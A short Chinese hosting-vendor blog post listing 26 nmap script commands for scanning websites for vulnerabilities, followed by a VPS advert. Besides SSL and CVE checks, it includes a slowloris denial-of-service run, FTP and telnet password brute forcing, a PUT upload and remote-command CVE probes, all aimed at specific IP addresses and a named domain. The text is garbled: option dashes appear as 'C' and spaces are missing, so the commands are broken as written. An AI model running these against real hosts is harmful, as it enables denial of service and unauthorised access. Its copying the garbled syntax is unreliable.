香港服务器如何用nmap扫描网站漏洞

发布人：欢子发布时间：2026-01-21 12:52 阅读量：9

香港服务器用nmap扫描网站漏洞的命令有：

1http拒绝服务

nmapCmax-parallelism800Cscripthttp-slowlorisscanme.nmap.org

2.IIS短文件泄露

nmap-p8080Cscripthttp-iis-short-name-brute61.142.64.176

3.ftp弱口令暴力破解

nmapCscriptftp-bruteCscript-argsbrute.emptypass=true,ftp-brute.timeout=30,userdb=/root/dirtionary/usernames.txt,brute.useraspass=true,passdb=/root/dirtionary/passwords.txt,brute.threads=3,brute.delay=6203.195.139.153

4.检测CVE-2011-2523中的ftp-vsftpd-backdoor

nmap-T2Cscriptftp-vsftpd-backdoor211.139.201.240

5.验证http中开启的-methods方法

nmap-T3Cscripthttp-methodsCscript-argshttp.test-all=true,http.url-path=/www.haoshangjia.com

6.验证HTTP.sys远程代码执行

nmap-sVCscripthttp-vuln-cve2015-1635203.195.139.153

7.验证SSLPOODLEinformationleak

nmap-sV-p443Cversion-lightCscriptssl-poodle218.19.141.16

8.验证http中开启了put方法

nmapCscripthttp-putCscript-argshttp-put.url=/uploads/testput.txt,http-put.file=/root/put.txt218.19.141.16

9.验证mysql匿名访问

nmapCscriptmysql-empty-password203.195.139.153

10.验证cve2015-1427漏洞

nmapCscripthttp-vuln-cve2015-1427Cscript-argscommand=ls203.195.139.153

11.验证cve2014-8877漏洞

nmap-PnCscripthttp-vuln-cve2014-8877Cscript-argshttp-vuln-cve2014-8877.cmd=dir,http-vuln-cve2014-8877.uri=/wordpress42.96.170.128

12.验证CiscoASA中的CVE-2014-2126,CVE-2014-2127,CVE-2014-21,CVE-2014-2129漏洞

nmap-p443Cscripthttp-vuln-cve2014-2126,http-vuln-cve2014-2127,http-vuln-cve2014-2128,http-vuln-cve2014-2129203.195.139.153

13.验证低安全的SSHv1，sslv2协议

nmapCscriptsshv1,sslv2www.haoshangjia.com

14.验证CVE-2014-0224ssl-ccs-injection

nmap-PnCscriptssl-ccs-injection203.195.139.153

15.验证ssl-cert证书问题

nmap-v-vCscriptssl-cert203.195.139.153

16.验证SSL证书的有限期

nmap-PnCscriptssl-datewww.haoshangjia.com

17.验证CVE-2014-0160OpenSSLHeartbleedbug

nmap-p443Cscriptssl-heartbleed,ssl-known-key203.195.139.153

18.验证DebianOpenSSLkeys

nmap-p443Cscriptssl-known-key203.195.139.153

19.验证弱加密SSL套件

nmapCscriptssl-enum-ciphers203.195.139.153

20.验证CVE2015-4000

nmapCscriptssl-dh-paramswww.haoshangjia.com

21.验证多种SSL漏洞问题

nmap203.195.139.153CvvCscriptsshv1,ssl-ccs-injection,ssl-cert,ssl-date,ssl-dh-params,ssl-enum-ciphers,ssl-google-cert-catalog,ssl-heartbleed,ssl-known-key,sslv2

22.在网络中检测某主机是否存在窃听他人流量

nmapCscriptsniffer-detect10.10.167.5

23.暴力破解telnet

nmap-p23Cscripttelnet-bruteCscript-argsuserdb=myusers.lst,passdb=mypwds.lstCscript-argstelnet-brute.timeout=8s203.195.139.153

24.验证telnet是否支持加密

nmapCscripttelnet-encryption203.195.139.153

25.精准地确认端口上运行的服务

nmap-sVCscriptunusual-port42.96.170.128

26.收集VNC信息

nmapCscriptvnc-info203.195.139.153

购买使用一诺网络https://www.enuoidc.com/vps.html ?typeid=2

上一篇：香港VPS网站远程漏洞如何修复